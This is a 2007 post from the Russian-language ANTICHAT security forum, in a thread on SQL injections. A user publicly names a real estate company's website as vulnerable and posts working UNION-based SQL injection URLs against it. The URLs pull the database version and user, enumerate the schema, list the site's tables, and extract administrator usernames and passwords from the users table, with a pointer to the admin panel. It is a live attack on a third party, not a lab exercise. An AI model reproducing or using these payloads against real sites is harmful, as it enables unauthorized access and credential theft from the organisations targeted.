SQL Инъекции — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

11.11.2007, 03:06

FoxMALDER

Познающий

Регистрация: 26.07.2007

Сообщений: 50

Провел на форуме:
177050

Репутация: 62

Астера - коммерческая недвижимость
5.0.45atlanticspbsuatlanticspbsu@81.177.16.61

Код:

http://www.asteragroup.ru/?cid=3&sid=-28+union+select+concat_ws(0x05,version(),database(),user()),2/*
http://www.asteragroup.ru/?cid=3&sid=-28+union+select+concat_ws(0x05,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME),2+from+information_schema.columns+limit+1/*

DB: atlanticspbsu

Код:

analitic_cat
analitic_cat_en
analitic_files
analitic_files_en
category
classes
dictionary
down_categories
down_files
eng_news
estate_cat
estate_contact
estate_descr_en
estate_descr_ru
estate_obj_type
estate_pic
estate_razd_type
estate_region
investment_ru
maillist
maillistt
mainmenu
modules
omenu
prjterms_cat
prjterms_list
projects
projects_area
projects_descr_en
projects_descr_ru
projects_pic
projects_region
realtypic
realtyrent
regions
rus_news
static
users (id,firstname,lastname,user_id,pwd,group_id,status,dt)
users_group_cat (gid,group_name)

DB: atlanticspbsu_1

Код:

CLASSES
DICTIONARY
ELEMENTS
IMAGES
OBJECTS
PAGES
PAGE_INFO
PAGE_PARAMS
PAGE_PARTS
PAGE_PART_INFO
PAGE_PARTS_PARAMS
PARAMS
REVIEWES
SITES
TEMPLATES
TEMPLATE_PARAM_TYPES

Админка тут , а админа пасс ниже...

Код:

http://www.asteragroup.ru/?cid=3&sid=-28+union+select+concat_ws(0x05,user_id,pwd),2+from+users/*

P.S.: Бонус - здесь ...

P.P.S.: Чуть не забыл, результат в title выводится!

Последний раз редактировалось FoxMALDER; 11.11.2007 в 07:38..